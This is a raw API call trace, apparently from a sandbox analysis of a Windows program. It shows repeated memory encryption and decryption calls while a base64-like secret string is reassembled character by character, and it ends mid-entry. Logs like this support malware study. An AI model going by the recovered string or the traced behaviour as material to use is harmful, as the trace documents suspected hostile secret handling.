[0134.406] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x1d65\x3665\x3da4\x808d\x98ba\xdf9d\x31f2\x4abc") returned 0x10 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x1d65\x3665\x3da4\x808d\x98ba\xdf9d\x31f2\x4abc") returned 0x10 [0134.407] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.407] SysStringLen (param_1="7QCkYOHGIRNwwSYY") returned 0x10 [0134.407] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50") returned 0x10 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50") returned 0x10 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50") returned 0x10 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50") returned 0x18 [0134.407] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="7QCkYOHGIRNwwSYYKᏧ⚻例㫵䓇鲃") returned 0x18 [0134.407] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x8b74\xa56f\xafb0\x6de1\xe3b7\x54d8\xf929\x99d8") returned 0x18 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x8b74\xa56f\xafb0\x6de1\xe3b7\x54d8\xf929\x99d8") returned 0x18 [0134.407] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="7QCkYOHGIRNwwSYYKt⚻例㫵䓇鲃") returned 0x18 [0134.407] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x230\xcf76\x60d9\x12ec\x43e7\x7a7d\xafc8\x74d6") returned 0x18 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x230\xcf76\x60d9\x12ec\x43e7\x7a7d\xafc8\x74d6") returned 0x18 [0134.407] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtp例㫵䓇鲃") returned 0x18 [0134.407] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x4475\xb1bd\x9e49\xcf47\x679f\x412e\x4fe0\x15de") returned 0x18 [0134.407] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x4475\xb1bd\x9e49\xcf47\x679f\x412e\x4fe0\x15de") returned 0x18 [0134.407] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpp㫵䓇鲃") returned 0x18 [0134.408] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x8260\xd4a9\x7236\xa91e\x65af\x922e\x1789\x125c") returned 0x18 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x8260\xd4a9\x7236\xa91e\x65af\x922e\x1789\x125c") returned 0x18 [0134.408] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps㫵䓇鲃") returned 0x18 [0134.408] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x9d0d\xd9e2\x77f3\x1443\xc3cb\xa012\x94f5\x3a37") returned 0x18 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\x9d0d\xd9e2\x77f3\x1443\xc3cb\xa012\x94f5\x3a37") returned 0x18 [0134.408] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/䓇鲃") returned 0x18 [0134.408] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xa0f1\xffaf\x628e\x3ee0\xbdb\xe721\xa760\x1a2b") returned 0x18 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xa0f1\xffaf\x628e\x3ee0\xbdb\xe721\xa760\x1a2b") returned 0x18 [0134.408] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/W鲃") returned 0x18 [0134.408] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xe59\xad2a\xa33d\x2fea\xa4b5\x83a6\xb9e4\x6560") returned 0x18 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xe59\xad2a\xa33d\x2fea\xa4b5\x83a6\xb9e4\x6560") returned 0x18 [0134.408] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/Wp") returned 0x18 [0134.408] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.408] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286") returned 0x18 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286") returned 0x18 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286") returned 0x18 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286") returned 0x20 [0134.409] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/Wph乢ඦ攴퉗黑쉕") returned 0x20 [0134.409] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x263f\xc14a\xad5c\x3afd\x4d4f\xa8cf\xbbe\x9230") returned 0x20 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x263f\xc14a\xad5c\x3afd\x4d4f\xa8cf\xbbe\x9230") returned 0x20 [0134.409] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/Wphg乢ඦ攴퉗黑쉕") returned 0x20 [0134.409] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\xfe11\x330d\x7f24\x8bf0\x1960\xb0c2\xcb46\x144b") returned 0x20 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\xfe11\x330d\x7f24\x8bf0\x1960\xb0c2\xcb46\x144b") returned 0x20 [0134.409] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/Wphgeඦ攴퉗黑쉕") returned 0x20 [0134.409] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x846c\x432f\xd864\xa6ce\x319b\xf618\xa99b\x686b") returned 0x20 [0134.409] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x846c\x432f\xd864\xa6ce\x319b\xf618\xa99b\x686b") returned 0x20 [0134.409] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.409] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/Wphgea攴퉗黑쉕") returned 0x20 [0134.410] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x49df\x6a7a\x9d2a\x1549\xfdcb\x12d\x71b8\xb05e") returned 0x20 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x49df\x6a7a\x9d2a\x1549\xfdcb\x12d\x71b8\xb05e") returned 0x20 [0134.410] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaF퉗黑쉕") returned 0x20 [0134.410] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x8db5\xcc07\xf741\x619f\xe26\xab86\xb771\xcddd") returned 0x20 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x8db5\xcc07\xf741\x619f\xe26\xab86\xb771\xcddd") returned 0x20 [0134.410] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFm黑쉕") returned 0x20 [0134.410] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x67b8\x8035\xd4ef\xb88\xa0f\x273d\xcc5c\x53b0") returned 0x20 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x67b8\x8035\xd4ef\xb88\xa0f\x273d\xcc5c\x53b0") returned 0x20 [0134.410] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmL쉕") returned 0x20 [0134.410] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\xb3d1\xd0c0\xea3d\xc0e5\x9622\xbb60\xf673\x7d86") returned 0x20 [0134.410] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\xb3d1\xd0c0\xea3d\xc0e5\x9622\xbb60\xf673\x7d86") returned 0x20 [0134.411] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.411] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLh") returned 0x20 [0134.411] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0") returned 0x20 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0") returned 0x20 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0") returned 0x20 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x481") returned 0x28 [0134.411] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.411] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhH씻촕ၗⓗ柊᪦") returned 0x28 [0134.411] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x8a00\x75dc\x4b91\xe08e\xd4c0\x4fbc\x7dbd\x4f8f") returned 0x28 [0134.411] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x8a00\x75dc\x4b91\xe08e\xd4c0\x4fbc\x7dbd\x4f8f") returned 0x28 [0134.411] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.411] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHy촕ၗⓗ柊᪦") returned 0x28 [0134.411] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.412] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x867a\x1ef5\xf3bb\x68a9\x3d80\x17dc\x9bba\xe8e3") returned 0x28 [0134.412] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x867a\x1ef5\xf3bb\x68a9\x3d80\x17dc\x9bba\xe8e3") returned 0x28 [0134.412] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.412] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywၗⓗ柊᪦") returned 0x28 [0134.412] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x8da7\xedad\x1909\x2fe4\x3c4b\xf24a\x35e\xc03e") returned 0x28 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x8da7\xedad\x1909\x2fe4\x3c4b\xf24a\x35e\xc03e") returned 0x28 [0134.413] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywgⓗ柊᪦") returned 0x28 [0134.413] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x981\xf627\xd07d\x5483\xb801\x99df\x77bd\xedcc") returned 0x28 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x981\xf627\xd07d\x5483\xb801\x99df\x77bd\xedcc") returned 0x28 [0134.413] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg+柊᪦") returned 0x28 [0134.413] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xcfdb\xfb1e\x8393\xccec\xfed5\x42d8\xf234\x114b") returned 0x28 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xcfdb\xfb1e\x8393\xccec\xfed5\x42d8\xf234\x114b") returned 0x28 [0134.413] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++᪦") returned 0x28 [0134.413] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xf504\xfb7\x4e8e\xad56\xd177\xac93\x759\x93a") returned 0x28 [0134.413] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xf504\xfb7\x4e8e\xad56\xd177\xac93\x759\x93a") returned 0x28 [0134.413] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.414] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R") returned 0x28 [0134.414] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x7ac6\x56f0\xa5c2\x2013\x7be0\x69df\xef50\x2ac8") returned 0x28 [0134.414] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\x7ac6\x56f0\xa5c2\x2013\x7be0\x69df\xef50\x2ac8") returned 0x28 [0134.414] SystemFunction041 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.414] SysStringLen (param_1="7QCkYOHGIRNwwSYYKtpps/WphgeaFmLhHywg++R8") returned 0x28 [0134.414] SystemFunction040 (in: Memory=0x4383234, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383234) returned 0x0 [0134.414] SysStringLen 